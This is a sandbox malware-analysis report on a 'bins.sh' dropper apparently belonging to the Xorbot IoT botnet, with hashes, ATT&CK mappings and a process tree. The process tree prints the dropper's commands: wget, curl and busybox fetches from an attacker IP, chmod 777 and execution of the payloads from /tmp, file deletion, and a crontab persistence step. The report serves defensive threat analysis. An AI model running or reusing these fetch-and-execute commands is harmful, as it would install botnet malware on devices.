xorbot | 46319faf78e53f1182764f6bee7b5bbb790eb5b0c554de78b23e2362f7e49ef0

Analysis

max time kernel
149s
max time network
86s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
02-12-2024 09:51

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General

Target

bins.sh
Size

10KB
MD5

1c34c22f6ec5a232b2737aef798df9bd
SHA1

2bca089a2af1b83756cb67569281bee4451083ec
SHA256

46319faf78e53f1182764f6bee7b5bbb790eb5b0c554de78b23e2362f7e49ef0
SHA512

cc1c59ac10a2231a80d6b904204018c277baa5d9bf1e786340a0f9bf1464c075c185b11b022f50e89d357ff1a0f68ad6eb4b84fbdc03789d861821866b618d47
SSDEEP

192:rHHJy9rgUE/3wkUEHD/SaldVGKykUEHDEUldVGKuVkgUE/3G:rHpy9rgUE/3N7ldVGKbldVGKuCgUE/3G

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmod

pid	Process
730	chmod
755	chmod
695	chmod
707	chmod

Executes dropped EXE 4 IoCs

Processes:

C4VovfyF5DD6s78LGsgxIQc4NrlIS81XChiFVaykQwso1qsP4266g9WGlFNUwMIx7Fc294u1Bos7uiJ8t5iUw96f6nM2nmefHWNztqYoBPnYpBUJ8YtDat3vkzm80omv680pLM3f

ioc	pid	Process
/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	696	C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2	708	iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
/tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq	731	94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
/tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f	756	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f

Renames itself 1 IoCs

Processes:

YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f

pid	Process
757	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.j7POah	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurlcurlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlYoBPnYpBUJ8YtDat3vkzm80omv680pLM3fcurlcrontab

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/803/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/819/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/107/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/136/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/204/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/768/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/828/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/149/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/2/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/788/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/454/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/787/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/790/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/791/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/793/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/801/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/8/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/16/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/7/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/24/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/27/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/96/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/168/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/761/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/105/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/265/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/301/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/309/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/775/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/826/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/20/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/465/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/698/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/810/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/773/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/1/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/4/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/17/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/508/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/818/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/23/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/25/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/809/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/822/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/26/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/41/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/772/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/777/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/12/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/266/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/269/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/353/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/832/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/14/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/75/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/660/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
File opened for reading	/proc/616/cmdline	YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxcurlcurlbusyboxwgetwgetbusyboxwgetcurlbusyboxwget

description	ioc	Process
File opened for modification	/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	curl
File opened for modification	/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	busybox
File opened for modification	/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2	curl
File opened for modification	/tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f	curl
File opened for modification	/tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f	busybox
File opened for modification	/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh	wget
File opened for modification	/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2	wget
File opened for modification	/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2	busybox
File opened for modification	/tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq	wget
File opened for modification	/tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq	curl
File opened for modification	/tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq	busybox
File opened for modification	/tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:661
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:664
- /usr/bin/wget
  wget http://216.126.231.240/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Writes file to tmp directory
  PID:671
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:686
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  ./C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  - Executes dropped EXE
  PID:696
- /bin/rm
  rm C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh
  2⤵
  PID:699
- /usr/bin/wget
  wget http://216.126.231.240/bins/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - Writes file to tmp directory
  PID:700
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:701
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - Writes file to tmp directory
  PID:704
- /bin/chmod
  chmod 777 iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  ./iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  - Executes dropped EXE
  PID:708
- /bin/rm
  rm iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2
  2⤵
  PID:711
- /usr/bin/wget
  wget http://216.126.231.240/bins/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  ./94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm 94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq
  2⤵
  PID:734
- /usr/bin/wget
  wget http://216.126.231.240/bins/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  - Writes file to tmp directory
  PID:735
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  ./YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:756
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:759
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:762
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:764
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:765
- /bin/rm
  rm YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f
  2⤵
  PID:768
- /usr/bin/wget
  wget http://216.126.231.240/bins/jLWStJtW1FEdjV5PyUVMwpR4s26SpdTnNh
  2⤵
  PID:772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/94u1Bos7uiJ8t5iUw96f6nM2nmefHWNztq

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/C4VovfyF5DD6s78LGsgxIQc4NrlIS81XCh

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/YoBPnYpBUJ8YtDat3vkzm80omv680pLM3f

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/iFVaykQwso1qsP4266g9WGlFNUwMIx7Fc2

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.j7POah

Filesize
210B

MD5
6e8a60dd06fc4b047a3f4b7aef09f1c3

SHA1
dc8c0069f09d4ca2b2a0560d320d78d9f45dc8cf

SHA256
fcc83cbb033d560114072b8177a309bde483013dc9fe19ea5403261089c1ee1a

SHA512
0c15a8c09075ab23376779d505d48ad8569b101781c61d495eca2a32c8c1582a02df93f3350661345f8279ed03632f336cd9929bd3a36e047f537bc53ca6246f

Download Submit